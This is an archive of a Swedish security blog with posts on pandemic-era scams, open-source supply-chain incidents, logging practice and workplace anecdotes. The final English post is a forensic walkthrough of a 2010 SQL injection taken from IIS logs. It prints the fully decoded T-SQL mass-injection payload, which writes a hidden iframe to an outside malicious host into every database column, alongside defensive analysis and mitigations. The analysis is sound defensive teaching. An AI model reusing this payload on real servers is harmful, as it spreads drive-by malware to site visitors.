Search for: sig security

1 april, 2020

Status i Corona-tider

Undvik att skaka hand med IT-brottslingar som har Corona-viruset. Det gör dig dubbelt säker..

När Beatles skulle landa i USA just när hysterin drabbade landet och alla pratade om dem och deras musik, presenterade radiostation WMCA det hela såhär: ”It is now eight-seventeen, Beatle-time, and the four Mop Tops are now eleven-hundred miles off-shore…”. Bulletinerna fortsatte sedan medan planet med de fyra grabbarna från Liverpool närmade sig den nya världen. Det måste ha varit en magisk tid att leva i när musiken spreds över hela världen. 2020 är här och bulletinerna avlöser varandra i takt med att den nya ”world touren” når oss alla. Men denna är inte särskilt önskad och omtyckt. Coronan betyder även en hel del för IT-säkerheten, även om viruset i sig inte drabbar vare sig nätverk eller datorer.

Så låt oss ta avstamp i vårt avsnitt om att arbeta hemma och se vad som hänt sedan det spelades in den 21 mars 2020.

Nätet höll (som väntat!) och tjänsterna verkar nu fungera…

Mattias frågade mig i programmet om nätet skulle palla att alla sitter hemma och jobbar. Jag talade lite om överbokning som begrepp och förklarade att många tjänster på nätet och servrar inte är dimensionerade för en stor ökning av användandet. Och det såg vi många exempel på. Men vi nämnde aldrig Internet, eftersom ingen av oss var särskilt oroade för att det inte skulle klara sig. Och det har inte varit några stora problem heller. Netnod har rapporterat att näten håller för trycket trots allt.

Tjänsterna och resurserna på Internet verkar nu också bra. Teams går väl och även Netflix och YouTube fungerar som de ska. Så det verkar i alla fall bra.

Brottslingarna har vaknat (vilket var som vi trodde!)

Inga poäng för att den som gissade att cyberbrottsligheten skulle förändras i takt med att folk ändrade användarmönster. Och så har ju också skett.

För att inte tala om mailen som innehåller smittade dokument som lovar oss viktig information om spridningen av Corona.

Vi ser en ökning av mail som försöker locka oss att donera till välgörenheter i Coronatider, men där de som skickar dem istället tar pengarna själva.

Spearphising har nu blivit ännu vanligare och bedragare försöker sno våra inloggningsuppgifter för att kunna komma åt mail och företagsresurser.

En skola i Norge som använde en publik tjänst för sina lektioner råkade ut för en blottare som trakasserade eleverna.

Det verkar också finnas en ökning i antalet misstänkta inloggningsförsök som sker mot resurser i länder som drabbats hårt av viruset som t.ex. Italien.

Hackargrupper blir mer aktiva och säkerhetsforskare pekar ut några av dem som ett extra hot just nu.

Mail om videokonferenstjänster som Teams, Google Classroom och Zoom kommer med länkar som påstås leda till en videokonferens du behöver delta i, men istället försöker de lura dig att installera skadlig kod på din dator.

(uppdaterat 2020-04-01 18:38) Zoom verkar extra illa ute nu, där förfalskade länkar kan läcka ut inloggningsuppgifter. Mer info här!

Routrar attackeras och DNS-frågor omdirigeras för att lura användarna att WHO rekommenderar dem att installera en app som ger Corona-information. Denna är i själva verket skadlig kod.

… och det är bara början… Det blir värre… Inte svårt att gissa!

Charlatanerna har en lösning på allt – och den fungerar inte

Kanske inte IT-säkerhet, men en fara på Internet: kvacksalvarna. Ett antal siter säljer botemedel mot Corona-viruset eller publicerar förfalskade rapporter som säger att örter och saker som kristaller kan bota eller skydda mot Covid19. Deras lösningar fungerar faktiskt … för dem, då de tjänar pengar på att ge dig verkningslösa ”mediciner”.

Om du tror dem, kan du lätt få för dig att Bill Gates säger att han har en ny Bitcoin-plan att sälja dig. Det har hållit på ett tag, men har fått ny fart de senaste dagarna. Självklart är det bara ett sätt att lura av dig pengar och Bill är inte delaktig. Men videos som dessa kommer upp regelbundet som annonser på Facebook eller på Youtube.

Slutsats – håll huvudet kallt!

Just nu är extra vaksamhet och en skärpt beredskap inte paranoia. Det är nu som ett brett användande av multi-faktorautentisering, bra överblick över systemen och att dubbelkolla alla meddelanden som når dig när du sitter hemma, hjälper dig att hålla dig säker.

Man kan tycka att det är bedrövligt att bedragare tar chansen i kriser att försöka lura och skada andra, men det är som det är och alltid kommer att vara. Det är tyvärr bara att vänja sig och försöka överleva. Dessa bedragare är lika omfattande och allestädes närvarande som pandemin i sig, dock förhoppningsvis inte lika farlig.

20 mars, 2020

När det gått snett i verkligheten inom Open Source

I IT-säkerhetspoddens tredje, och sista, är Linus Karlsson (Security Specialist) från Debricked med oss och pratar om när det gått snett I verkligheten. 

Riskerna att inte uppdatera Open Source och beroende applikationer

Ett vanligt fenomen är dåliga rutiner på att uppdatera sin mjukvara  (eller dependencies som det benämns i avsnittet). Linus tar fallet med Equifax som exempel. 

Equifax är ett stort kreditupplysningsföretag I USA som drabbades av en läckage där 145 miljoner människors information läckte. Ungefär hälften av USAs befolkning. Information som namn, adresser och körskortsuppgifter läckte. 

Grundorsaken berodde på att Equifax nyttjade ett bibliotek, som är väldigt vanlig, som heter Apache struts. Biblioteket används för att skapa webtjänster baserat på Java. 

Trots att Equifax upptäckte sårbarhet i Apache struts tog det ungefär ett halvår innan de presenterade detta. Anledningen vara att biblioteket inte uppdaterats och konsekvenserna blev att Equifax fick sitt varumärke svärtat samt att de fick betala tillbaka oerhört mycket pengar. De fick bland annat erbjuda gratistjänster till sina kunder. 

Om man litar på A, som litar på B, betyder det automatiskt så att man litar på B? 

Linus tar ett annat exempel som är mycket mer sofistikerat och som bygger på just att man litar på sin mjukvara och på så viss även litar på mjukvarans beroende program. 

Den här gången drabbar det registryt NPM, eller rättare sagt Event Stream som är ett populärt paket bland java-script. Paketet gör en väldigt specifik grej, och i just detta fall, strömmar av event. Paketet är oerhört populärt och nyttjas i massor av mjukvara. 

Event Streams skapare blir kontaktad av en okänd person som har ett antal förslag på förbättring och skickade dessa. Allt kändes som att personen agerade i all välmening. Förbättringarna godkändes, men ytterligare en dependencies smögs med. Det syntes men eftersom personen verkade schysst lade man ingen större notis om det, eftersom det inte innhöll något skadligt. 

Men en månad senare uppdaterades just den här dependencies med ny kod. Den här gången skadlig!  

Attacken var väldigt sofistikerad, och riktad, eftersom den skadliga koden aktiverades bara när mjukvaran hanterade Bitcoins. Dessutom om balansen på Bitcoin-plånboken hade hög likviditet. På så vis upptäcktes det inte lika lätt. 

Konsekvenserna är okända men skadliga koden skeppas tillsammans med mjukvara för Bitcoin. 

Hur kan man skydda sig mot detta? 

I första exemplet gäller det givetvis att se till att ha en tydlig patchrutin. Mjukvaran ska vara uppdaterad. Man måste också ha koll på vilka beroenden som finns i mjukvaran och att även dessa är uppdaterade. 

Det andra exemplet är knepigare eftersom det nästan är ett Social Engineering-attack där skaparen av mjukvaran luras att uppdatera sin kod. Ett tydligt svar finns inte riktigt utan det diskuteras fortfarande huruvida det är grundaren som var oansvarig medan en annan stor grupp tycker att man inte kan ha sådana förväntningar på en person som skapat mjukvaran på sin fritid. Dessutom en person som inte har tid att uppdatera mjukvaran längre. 

Vem man ska lita på kanske inte är det viktiga utan mer mekanismen hur man tar in ny mjukvara, och upprätthåller den, i sin kod. 

31 januari, 2020

Statistik inom Open source

Affärsmodell med Open source 

Allt fler företag väljer att skapa mjukvara baserat på öppen källkod (Open source). I IT-säkerhetspoddens avsnitt pratar vi med Emil Wåreus Head of Data Sience på debricked om risker kopplat till öppen mjukvara och statistik (eller fun facts).

Statistiken är viktig att förstå för att välja rätt öppen källkod och hur komplext det kan vara för att undvika säkerhetsrisker. 

   Öppen källkod kan jämförs som en rörelse där skapare nyttjar öppen källkod och publicerar sina anpassningar på internet för hela Open source-scenen. Engagemanget är stort och förslag med funktionell och säkerhetsmässiga förbättringar diskuteras inom rörelsen.  

   Det kan tyckas märkligt att företagare lämnar ut sin affärsidé och delar med sig till vem som helst och för att förstå hur det hänger ihop tar vi oss till 80-talet. Trenden var då att man såg sin mjukvara just som själva affärsidén. Resultatet blev en statisk mjukvara (eller proprietär kod) med ett hackigt community. . 

   Open source startade samtidigt på konsumentsidan där engagemanget blev stort bland användare. När det nu är utbrett på företagssidan är en vanlig affärsmodell open core där kärnan är öppen medan tilläggstjänster såsom support och konsultarbeten blir affärsmodellen. På så vis behålls engagemanget i Open source och samtidigt kan företagare vara lönsamma genom att hjälpa sina kunder med vad de faktiskt efterfrågar. 

Flera hundra beroenden 

Det många inte vet är att en öppen källkod ofta inte är just en mjukvara. Tvärtom. Vanligare är snarare att mjukvaror använder flera hundra direktimporterade mjukvaror som den är beroende av. Beroenden med sina egna öppna källkod och sårbarheter. Emil Wåreus tar ramverket React som exempel som är en plattform baserad på Java och skapat av Facebook. Verktyget är väldigt populärt just nu för att skapa webapplikationer och bygger på just öppen källkod. Men få känner till att React har ungefär 3.500 beroenden. Hur ska man ha koll på vilka man använder och vilka säkerhetsrisker det finns att nyttja ett sådant ramverk? 

   Här finns fördelen med den öppna källkodsscenen där man kan ta del av andras upptäckter och idéer till skillnad mot stängd mjukvara där tillverkaren ansvarar för att upptäcka sårbarheter och täppa till dessa. 

   För att reda ut svårigheterna finns debrickeds mjukvara som analyserar mjukvaran inom tre områden – sårbarheter, licensieringen och hälsokontroll (health check), där det sistnämnda undersöker just communityt för att analysera hur högt engagemanget såsom bidragande medlemmar. Det hela poängbedöms av debricked vilket hjälper upphovsmakarna att välja rätt öppen källkod. 

Flera datakällor för att upptäcka sårbarheter 

Debricked är integrerat med Amerikanska NISTs “National Vulnerability Database” (NVD) som är en öppen databas där man kan hitta kända sårbarheter i öppen källkod. Här rapporterar communities (till exempel Github) till NVD för analys. NVD undersöker vilken typ av sårbarhet som avses och om det är kopplat till säkerhet eller inte. Ungefär femtio nya sårbarheter registreras – per dag! 

Statistik från NVD visar vilka projekt som innehåller mest sårbarheter. Bild nedan visar de högst rankade just nu.  

   Men NVD räcker inte för att upptäcka sårbarheter så därför är databasen bara en av datakällor som debricked nyttjar. En stor del upptäcks inte eftersom NVD har koll på 50.000 projekt som har ungefär 120.000-130.000 sårbarheter. Debricked däremot hittar över 200.000 sårbarheter relaterat till säkerhet eftersom de samlar in från flera datakällor. 

   Den andra stora källan är, numera Microsoft-ägda GitHub, som debricked nyttjar som datakälla. Här undersåker debricked så kallade issues på Github. 

   Om man skapar en enkel websida baserad på öppen källkod med populära verktyg och installerar enligt standard kan man räkna med ungefär 10.000-15.000 beroende mjukvaror med hundratals sårbarheter. Nästa steg blir att analysera sårbarheten som oftast (ungefär 30%) kan täppas till genom att uppdatera. Men resten är klurigare. Man ska ställa sig frågan – använder jag den här mjukvaran? Eller kan jag bygga runt det på något vis?  

Fyra råd 

Emil Wåreus ger fyras råd för öppna källkodsprojekt.  

  • Använd debricked tidigt i processen innan du importerar mjukvara för att förstå hur säker den är och undersök poängbedömningen.  
  • Sätt policys för att blockera osäker mjukvara. På så vis hjälper man utvecklare att göra rätt och förhindra att fel kod importeras 
  • Räkna på mjukvaran som är tänkt att användas. Räkna hur mycket tid och pengar det krävs för att säkra mjukvaran 
  • Använd inte gammal mjukvara 

Man får också väga “springa framåt” mot “håll tätt bakåt” i projektet. 

27 november, 2019

Kontra(s)-säkerhet

Yes, we have no security… We have no security today.

”Man ska driva IT utan att vara någon form av IT-fascister” tyckte min dåvarande kollega, som kastats ut från vår IT-avdelning eftersom han aldrig gjorde något. Sagde kollega var mycket villig att hjälpa till att skruva upp ens Whiteboard, men kunde tre veckor efter att han börjat inte anse att han var redo att ta tag i arbetsuppgifterna. På detta ställe, som det är så länge sedan jag jobbade på att det nog är preskriberat, blev man inte sparkad med mindre än att man skruvade ner armaturen och försökte sälja den. Så han fick bli någon form av hjälpreda i hopp om att pensionen snart skulle stunda.

Bitter på att inte längre få vara domänadmin, en behörighet han gärna gav bort till andra vanliga användare tills jag kom på honom, startade han sedermera sin egen ”skugg-IT” som en form av gerillaverksamhet. Denna var beskaffad så att han var IT-chef, systemadministratör, nätverkstekniker och möjligen också bödel. Han pratade vitt och brett om att ”IT inte fungerade” och implicerade att vi andra på IT-avdelningen, som sagt, var ”IT-fascister”. Han startade sin egen vidöppna filserver med sin egen dator och en Windows-utdelning och lät folk spara filer där eftersom ”backuperna ändå aldrig fungerar”. Hur han själv skulle backa upp dem hade han ingen plan för. Dessutom var han ofta förbannad på mig som var lokal IT-chef och fick ta emot hans tirader. Vi hade en skrivare och den, röstades det fram av de som satt på hans våningsplan, skulle skriva ut på båda sidorna. Det tyckte inte han, och att man kan ändra den inställningen själv visste han inte. Så han bombarderade mig med gliringar och stod och stirrade ner mig när jag satt i mitt arbetsrum. Detta pågick tills jag blev rödglödgat förbannad och sa en del mindre väl vald ord till honom. Efter det lugnade han ner sig och nöjde sig med att bara muttra lite ibland.

Innan dess hade vi en praktikant som uppskattade att vi hade en fast Internetlina som han sa till mig att han ”testade hur bra den höll”. Detta gjorde han inför mig och vår nätverksadministratör som verkade mindre imponerad. Testningen gick till på så sätt att han satt och råtankade och delade filer på Napster, som var den stora ”killerappen” för dagen. Den var ju Internets variant av ”fem-fingers-rabatt”.

De användare som hade möjlighet, det vill säga ALLA, krävde att få vara lokala administratörer på sina Windows NT- och 2000-burkar. På grund av flathet från ledningen fick de vara det.

Men nu ska vi givetvis inte bara gnälla på Windows-användarna. En användare satte upp SMB-filesharing på sin Red hat Linux och hade konfigurerat masterbrowsern på att publicera en tom lista på filservrar till hela nätet. Han kunde inte nå företagets lokala filservrar…. det kunde ingen annan på kontoret heller.

När vi övervakade nätverket såg vi att två datorer hade det ökända spionprogrammet ”Netbus” installerat. De datorerna stod bredvid varandra. Lätt att gissa anledningen, men om du inte gjort det, här är den: bordsgrannarna hade installerat programmet på varandras datorer för att leka med det.

En dag skulle jag visa för en gäst hur man kunde spåra på problem på nätet. Vi stod i ett korskopplingsrum och en av portarna på en switch blinkade med en enorm hastighet. Jag knatade till den användaren som porten gick till och förklaringen var den film han satt och laddade ner från någon piratsida. Han lovade att sluta så fort den var nedladdad. Men helst inte före det.

En gång drabbades vi faktiskt. Det var ”I love you”-viruset som kom på besök. Vår hemsida kördes på en Windows server och web redaktörerna hade hela sidan mappad som en enhetsbokstav i sina Windows-klienter. Det slutade med att tusentals bilder försvann från webben. Vad lärde vi oss av det… Inte mycket…

Denna cirkus pågick fram tills vi började gå igenom en utsäljnings- och uppstyckningskarusell och därefter började ju IT-marknaden att mogna. När man tittar tillbaka på det hela inser man att säkerheten nog var sådär på de flesta ställen. Alla var lokala administratörer, alla IT-människor var domän admins och det fanns inga hinder för vad man fick sätta upp och koppla in på nätet. Dessutom surfade folk till alla sidor de kunde komma på och satte upp fildelningstjänster som kördes på deras maskiner som lokala admins. Att ingenting värre hände berodde på att, som Marcus Murray säger, ondskan inte ännu hade mognat. Alla elaka hackers hölls bort av den stora brandväggen. Det var på den tiden det räckte. Längtar jag tillbaka? Nej, aldrig. Mina gråa hår är på väg och jag behöver inte flera.

18 september, 2019

Loggning i blindo

Ögonblicksbild strax innan insikten att loggarna ligger på samma server som just nu brinner.

Det är något som alltid fascinerat mig: hur många som sparar loggar utan att någonsin fundera på hur de ska användas vid t.ex. ett intrång. De är nöjda med att kunna kryssa för ”vi har loggning” i ett testformulär och sedan… ja… vad då? ”Vem bryr sig? Vi loggar ju”. Allt klart. När något händer, finns det ingen plan eller någon metod för hur man ska få ut något ur drivorna med arkiverade loggar. Men som sagt: ”Vi loggar ju”.

Tillbaka till mina gamla blogginlägg från förr: texten är på Engelska.

Can’t see the forest for the logs?

Do you remember those old analog TVs, where you could pull the antenna cable out to look at the whirling static of white and black dots? For all intents and purposes, what you see is more or less random and no one could possibly call what you see on the TV-screen “information”. But that is what it is. However, when we talk about “information”, we often mean “useful information”. The bad news is that it can be hard to know what is useful now or in the future.

When working with computer generated logs, this can be disastrous. Logs? I’m not talking about the kind that used to be trees. Many applications store informational, warning and alert events in files or databases. Those databases and files are what we call logs. We often install systems and applications without thinking why and what should be written into them. All logs can give potential clues when we try to track an intrusion or when we try to find the cause of a failure. But when the time comes to look for those clues, they may not be there for us and there are quite a few reasons for that:

We have no plan why we log

Ask operations and they tell you logs are for troubleshooting. The guys in security talk about auditing and forensics and the web master needs to know how the site is doing on the big market called the Internet (assuming we’re talking about a web site, off course). Logs can cater to all those needs, if we set the system up that way. But that is a job for an IT-architect and should be done long before the system is actually built. At this time I want to remind you that organizations should have a set of written policies dealing with security and rules. This is outside the scope of this discussion, but the relevant parts of the security policies must be used to decide how to build the logging architecture.

We wait too long

Logs are often setup to start overwriting the oldest entries after some time or when they get larger than a preset size. In short, we could be too late to actually see something, since the log data has been erased. The solution is to understand what will use the logs for and how much history we need. This should be decided when we design the system and must be applied system wide. Yup, I’m repeating myself, I know!

We log all the wrong things and forget to log the right things

Did you know that the web server Microsoft Internet Information Services 6.0 doesn’t log the referer (yes it’s spelled that way!) tag by default? The referer (sic!) tag can show the address of the site the user was surfing on, when he clicked on a link to your site. It’s probably not so interesting to log just for security purposes, but it is very important if you want to know which search phrases or sites link to your site. Do you only log failed logon attempts? Then you won’t know when they actually managed to break in.

We fail to understand the consequences of our settings

If you setup your logs to rollover after a specified time or size, you don’t have to worry about them filling up the disk. Computer criminals know that this is a common practice and often try to hide their tracks by generating a massive amount of events in relevant logs until they rollover and delete the evidence. If we allow it to fill up, an attacker may be able to cause a system to fail by generating events until the system cannot log anything more. If we don’t transfer our logs to a secure system, an attacker that succeeds in taking over a system can destroy all evidence by clearing the logs. And if we do transfer the logs, the total cost of ownership goes up. All choices have their merits and flaws.

We log inconsequentially

The days of everything being “one server – one system” are long gone. Many larger systems consist of servers, network equipment and even cloud services working in unison. We must make sure we log everything as dictated by the policy on all parts of the system where possible.

… And my favorite: we have no idea what to do with it!

Ok, so you now have megabytes of data at your disposal. Whether you want to detect problems and security issues before they happen or want information enough to nail the attackers afterwards, you can seldom just rely on reading the logs manually. You need tools, procedures and scheduled time for it. This is a huge area and there are hordes of free and commercial products and appliances that can help you finding what you’re looking for or hide it from your eyes by being totally useless tools. The right tools for intrusion detection may be totally useless when it comes to troubleshooting stability issues.

This post in one sentence: thought applied before action saves the future.

11 september, 2019

Att avslöja en SQL-injektion

Någon gång 2010 fick jag analysera en attack som fastnat i mitt jobbs IDP. Teknikerna ville ha en förklaring av hur den fungerade och om den var farlig. Så jag skrev en kort uppsats där jag förklarade det hela för dem. Denna skrev jag senare om för min numera avsomnade blogg. Så för den som vill nörda ner sig i lite klassisk webbapplikationssäkerhet, återger jag den här. Den är ganska djup rent teknisk, men borde ge en tanke om hur det fungerar. Och, ja, den är på Engelska. Hoppas den går att förstå ändå.

I’ve written a lot about security and politics lately, but I’m a technician at heart, so I think it’s time to dig into security from a technical stand point. So today, let’s take one of the many SQL-injection attacks out there on the Internet and pick it apart. The code has been urlcoded, so it cannot harm your web browser. Had that not been the case, it would have been too late anyway.

A few words of warning

The attack is a very real and fully functional attack that you must not put into an SQL-editor connected to a database server and ”run it just to test”. It may actually work and then, congratulations, you’re in deep trouble. Infecting your own database server running as a virtual machine on a private network is probably just fine, as long as you treat it with a flame thrower afterwards. Remember, itís like having your own vial with a frozen Ebola-virus. It will be fun until it spreads. Ok, let’s be fair, this attack is not a virus or even a worm. It is the effect of a worm or more likely a program scanning all subnets it can find. The difference between the two is that the worm spreads and attacks from servers it has conquered. But I digress…

The semi fictitious scenario

You get an alert from someone claiming to see something weird in the log of a Microsoft IIS server and they believe you’re the expert on the matter. So you logon to the server, but have no idea where to look. The person who alerted you have no idea which log it was and only a vague idea as to when.

This might seem hopeless, but a bit of deductive logic goes a long way. When you open the IIS manager console, you note that all websites store their logs under d:\wwwlogs. So you use the built in search function to search through all *.log-files created during the last week for … Yeah, for what? Good question. This could be tricky, but there has to be something that sticks out in an attack. Searching for ’ and SELECT does nothing. This is weird you think. But recently you read something about hackers using CAST and VARCHAR. You type that into the search box and restart the search.

Good news: Bingo, you got a hit from the logs.

Bad news: It looks like this:

2010-08-10 15:17:49 192.168.13.13 GET /muchosell/login.asp?subPage=form.asp&nr=2&subLink=2;DecLArE%20@s%20
VarCHAR(4000);SET%20@S=CASt(0X64 … <Removed>… F5220%20aS%20VARcHar(4000));eXEc(@s);– 80 – 666.666.666.666 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+2.0.50727) 200

2010-08-10 15:17:49 192.168.13.13 GET /company/login.asp subPage=form.asp&nr=2&amp

Fantastic. What they Sam Hill are we looking for here? A part of the log entry makes sense, though.

Someone tried to access the login-script on one of the web sites. You use the directory name the log was created under to figure out which site it is. It’s called W3C1. The IIS manager tells you that this site hosts the web application called MuchoSell under www.ericade.net. So it must be http://www.ericade.net/muchosell/login.asp.

The tail end of the log entry also makes sense:
80 – 666.666.666.666 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+2.0.50727) 200

The attack was against port 80 (standard for web sites), it came from 666.666.666.666 and it claimed to use Internet Explorer 7. It also got a http code 200 back. That means the transaction executed successfully. Is that good or bad in this case?

You probably know that 666.666.666.666 is an impossible ip-address. It’s like those 1-555- telephone numbers you see in Hollywood movies.

But the rest of the code, what is it good for? It really looks kind of useless. Does it even mean something? Yes, it does. A bit of history: the intrusion detection systems that many organizations use can detect SQL-statements sent as parameters in urls. This is bad news for the cracker, and hence the need for obfuscation. The SQL-server actually decodes the weird characters and then interprets them. So if that’s possible, shouldnít we be able to do the same? The answer is off course yes.

The text is not encrypted; it’s just encoded as hex decimal characters. We need a tool to decode it. Your weapon of choice is ”ASCII Hex URL Decoder”, available from https://github.com/Dillie-O/ascii-hex-url-decoder. But when you try pasting the text into the program you get an error message stating that ”the code must be wrapped in a CAST-statement”. CAST is not what you ended up with on your leg after that horrible ski-trip. It’s actually a transact-sql statement telling SQL that it should change one format into another. In this case hex code into varchar. Varchar is a text string, so the CAST-statement must decode it to make it a varchar. After changing the mixed case text to read CAST(0x6 … VARCHAR(4000)) the decoding works and you end up with:

deCLArE @T VaRchAr(255),@c VArChaR(255) DEClaRE TABle_cuRsOR cursoR fOR SelEct a.NAME,b.nAME FROM sysObjeCts a,sYsCOLuMns b wHere a.Id=B.Id and a.xtype=’U’ and (B.xtyPe=99 oR b.xType=35 oR B.xtype=231 or B.xTypE=167) Open TabLE_cURsOR fETCH nExT FroM TablE_cuRsor IntO @t,@c WhILe(@@fETCh_statUs=0) BeGin ExEc(’upDate [’+@t+’] SeT [’+@c+’]=rtrim(cONVert(vaRcHaR(4000),[’+@c+’]))+cAst(0X3C696672616D65 … <Removed>… D653E As VaRChAR(106))’) FetCH NEXt FrOm TabLE_cUrsOr iNtO @T,@c End ClosE TablE_CURsor DEaLLOcaTE TaBLe_CursOR

But wait, what’s in the middle of that text? Another set of hex-coded stuff? Yup, hackers love double encoding their attack code to subvert security scanners.

Running the remaing hex code through the decoder yields:

<iframe src=”http://nemohuildiin.ru/tds/go.php?sid=1″ width=”0″ height=”0″ style=”display:none”></iframe>

And put all together, you get this:

2010-08-10 15:17:49 192.168.13.13 GET /muchosell/login.asp subPage=form.asp&nr=2&subLink=2;DecLArE%20@s%20VarCHAR(4000);SET%20@S=deCLArE @T VaRchAr(255),@c VArChaR(255) DEClaRE TABle_cuRsOR cursoR fOR SelEct a.NAME,b.nAME FROM sysObjeCts a,sYsCOLuMns b wHere a.Id=B.Id and a.xtype=’U’ and (B.xtyPe=99 oR b.xType=35 oR B.xtype=231 or B.xTypE=167) Open TabLE_cURsOR fETCH nExT FroM TablE_cuRsor IntO @t,@c WhILe(@@fETCh_statUs=0) BeGin ExEc(’upDate [’+@t+’] SeT [’+@c+’]=rtrim(cONVert(vaRcHaR(4000),[’+@c+’]))+<iframe src=”http://nemohuildiin.ru/tds/go.php?sid=1″ width=”0″ height=”0″ style=”display:none”></iframe>’) FetCH NEXt FrOm TabLE_cUrsOr iNtO @T,@c End ClosE TablE_CURsor DEaLLOcaTE TaBLe_CursOR;eXEc(@s);– 80 – 666.666.666.666 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+2.0.50727) 200

You fix the mixed case characters and the final code is:

GET /muchosell/login.asp subPage=form.asp&nr=2&subLink=2;DECLARE @s VARCHAR(4000);SET @S=DECLARE @T VARCHAR(255),@c VARCHAR(255) DECLARE TABLE_CURSOR CURSOR fOR SELECT a.NAME,b.nAME FROM sysObjeCts a,sYsCOLuMns b WHERE a.Id=B.Id and a.xtype=’U’ and (B.xtyPe=99 oR b.xType=35 oR B.xtype=231 or B.xTypE=167) OPEN TABLE_CURSOR FETCH NEXT FROM TABLE_CURSOR INTO @t,@c WHILE(@@FETCH_STATUS=0) BEGIN EXEC(’UPDATE [’+@t+’] SET [’+@c+’]=rtrim(CONVERT(VARCHAR(4000),[’+@c+’]))+<iframe src=”http://nemohuildiin.ru/tds/go.php?sid=1″ width=”0″ height=”0″ style=”display:none”></iframe>’) FETCH NEXT FROM TABLE_CURSOR INTO @T,@c END CLOSE TABLE_CURSOR DEALLOCATE TABLE_CURSOR;EXEC(@s);–

Sweet! But what does it do, and did it work?

Now this is where it gets tricky. I’ll try to pick it apart for you.

GET /muchosell/login.asp subPage=form.asp&nr=2&subLink=2;

This is the start of the GET statement that normally comes from a web browser, but in this case itís from the attack program instead. It request that web server runs login.asp with three parameters: subpage, nr and subLink. The attack starts with subLink. The attack program has somehow figured out that subLink expects a number. It could have done that by looking at the links on the site that use those parameters. So it does not use the standard apostrophe to break out of the SQL-statement, since it’s likely not used in the code. Remember that SELECT * FROM table WHERE id=2 is valid for numerical values, whereas SELECT * FROM table WHERE name=’Erik’ requires apostrophes. This is also why escaping apostrophes does not fix all security holes, since the apostrophes are not used with numbers. Damn!

Then it continues by adding 2;DecLArE%20@s%20VarCHAR(4000);SET%20@S=CASt (…) to the parameter. It obviously expects this to go through unhindered to the database layer. And %20 is just urlcode for white space. Let’s rip it apart.

2;

The innocent 2 and a semi-colon which means ”end of statement.”

DecLArE @s VarCHAR(4000);

This part creates a variable called s and casts it as VARCHAR with up to 4000 characters of readable bytes.

SET @S=CASt(

This part sets ”s” as the result of running cast on the long stream of hex coded gibberish. The result fed into s is clear text, since it has been decoded. When done, s is set to:

deCLArE @T VaRchAr ( Ö blah blah blah Ö) TaBLe_CursOR

Quite interesting stuff in that s-variable, no? Yeah, my interests are a bit weird, I know…

;EXEC(@s);–

And the grand finally, run whatever you put into the s-variable on the SQL-server.

Ok, that begs the question, what does the code stored in ”s” do? We have to pick that apart too. Got a headache yet? Good! Here’s what was decoded and put into s:

deCLArE @T VaRchAr(255),

The variable T is a string of characters with up to 255 characters.

@c VArChaR(255)

The variable c is another string of characters with up to 255 characters.

DEClaRE TABle_cuRsOR cursoR fOR SelEct a.NAME,b.nAME FROM sysObjeCts a,sYsCOLuMns b wHere a.Id=B.Id and a.xtype=’U’ and (B.xtyPe=99 oR b.xType=35 oR B.xtype=231 or B.xTypE=167)

This statement is geared towards a Microsoft SQL server and it tries to get a list of all tables and their fields for tables that are user-created. It does not specify a database, so the statement uses whatever database the database user has set as their default. The result is presented as a cursor called TABLE_CURSOR. A cursor is mechanism to manipulate a data set. TABLE_CURSOR makes the names of the aforementioned tables and fields available. This is the list of targets in the database that the script will inject the code into.

Open TabLE_cURsOR

Once created, the cursor is opened.

fETCH nExT FroM TablE_cuRsor IntO @t,@c WhILe(@@fETCh_statUs=0)

It then feeds the data into the variables t and c and iterates through the statements below until it runs out of data. T is the table and c is the column (field). The statement iterates through all fields in all tables.

BeGin

Begin starts a block of statements belonging together.

ExEc(’upDate [’+@t+’] SeT [’+@c+’]=rtrim(cONVert(vaRcHaR(4000),[’+@c+’]))+cAst(0X3C696672616 … <Removed>… 672616D6 53E As VaRChAR(106))’)

Exec runs an update on all rows changing the data under the column specified in @c in the table specified in @t. The ”rtrim(cONVert(vaRcHaR(4000),[’+@c+’]))” part makes sure that the already present data is retained and the data it then tries to add is decoded as ”<iframe src=”http://nemohuildiin.ru/tds/go.php?sid=1″ width=”0″ height=”0″ style=”display:none”></iframe>”.

FetCH NEXt FrOm TabLE_cUrsOr iNtO @T,@c

Gets the next victim from the list and feeds into the variables T and c.

End

Ends the statements. Now it iterates through everything between BEGIN and END again, if there’s anything left to get with TABLE_CURSOR.
When the run through of TABLE_CURSOR is done, itís closed.

ClosE TablE_CURsor

Closing the cursor.

DEaLLOcaTE TaBLe_CursOR

Nice of it to actually clean up after trashing the place.

So in short, it feeds the iframe-code into every column for every row it can get its hand on, oh the humanity!

That’s all good and fine, but did the attack succeed? Nothing so far gives us any information. Sorry, there are no good clues in this log. Or are there? The code references ”sysObjects” and ”sysColumns”, which only exist in Microsoft SQL server. It also uses semi-colons, which makes sure it will never work on a MySQL-based server. If you know that the SQL-backend is running anything else that Microsoft SQL, this particular code will most likely not work at all.

That is a good start. But you must be sure, so you connect directly the SQL-server and go through the tables in the database that the web application uses. If the attack was successful, most fields would be filled with the ”iframe”-code.

But you’re not satisfied, so you download firebug to your Firefox browser and make sure both are patched to the latest version. You also run them on a virtual machine that is setup with a non-persistent disk to prevent the infection from surviving a reboot. Then you surf to the site and use Firebug to go through the code, searching for the pesky <iframe>.

If all those three things show no evidence of a successful attack, you’re probably in the clear. I said ”probably”. Good. Next up for you is a cup of coffee and a chat with the developers.

The attack works the same way some burglars try to open every door on every house in a neighborhood. If the door does not open, they try the next one. There are often people forgetting to lock their doors when they get home. And there are many web servers not properly secured.

What must be done to secure a web application depends on how the application is built, but there are a few general rules:

Input must be cleaned and preferably checked. A parameter expecting a number must not accept anything else. All input data must have a maximum and a minimum size. Everything that does not fit the constraints must be stripped or discarded.

The web application must not have more permissions or privileges than it needs. E.g. does it really need exec-privileges?

The code must not echo error messages from the database layer. Create a connection object and verify if it returns an error. In that case, print a generic error like ”The application has experienced a problem and your request could not be completed. Please call your system administrator.”

At the end of the day you hopefully get to write a report stating that you sound the ”all clear” but recommend a code review and a security analysis. On a very sensitive system, you might want to suggest that the manager contact a company specializing in penetration testing.

Scroll to top